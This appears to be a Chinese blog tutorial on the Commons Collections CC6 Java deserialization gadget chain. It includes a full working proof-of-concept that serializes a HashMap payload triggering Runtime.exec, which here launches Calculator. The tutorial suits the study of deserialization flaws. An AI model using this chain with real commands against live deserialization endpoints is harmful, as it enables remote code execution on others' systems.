CC6

在后续Java官方的更新中sun.reflect.annotation.AnnotationInvocationHandler#readObject其中不再使用Lazymap,导致cc1的链子在8u71版本后无法使用。所以要找一条能在Java更高版本使用的链子。

P神版cc6利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

p神的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}

在cc1是触发LazyMap.get()方法进行命令执行,cc6是找到其他调用这个方法的地方。

这个类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法

中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
 private static final long serialVersionUID = -8453869361373831205L;
 private final Map map;
 private final Object key;
 public TiedMapEntry(Map map, Object key) {
 this.map = map;
 this.key = key;
 }
 public Object getKey() {
 return this.key;
 }
 public Object getValue() {
 return this.map.get(this.key);
 }

 public int hashCode() {
 Object value = this.getValue();
 return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
 }
}

所以这里要去寻找在哪调用了hashCode(),在java.util.HashMap#readObject调用了hashCode
熟悉的地方,跟urldns链的一个样

图片

调用了hash,跟进hash方法

图片

这里hash方法调用了hashCode

这里代码出现了一个fakeTransformers,主要是避免在本地调试时发生了命令执行,调试结束就可以换成我们构造的transformers

这里也会有个问题,运行我们的程序并不会进行命令执行,进行调试发现poc问题出在outerMap.remove(“keykey”);

如果不去掉outerMap.remove(“keykey”)则无法命令执行,主要原因在expMap.put(tme, “valuevalue”);中

expMap是HashMap的实例

图片

HashMap.put中也调用了hash,但我们传入的是fakeTransformers,所以对poc产生了一定的影响。

图片

在反序列化的过程中,触发反序列化最重要的LazyMap.get方法中并没有进入if分支里面,所以没有触发transfrom。所以为了让containsKey(key)判断为flase,用outerMap.remove(“keykey”);移除即可。

触发transfrom之后的过程就跟cc1时一样的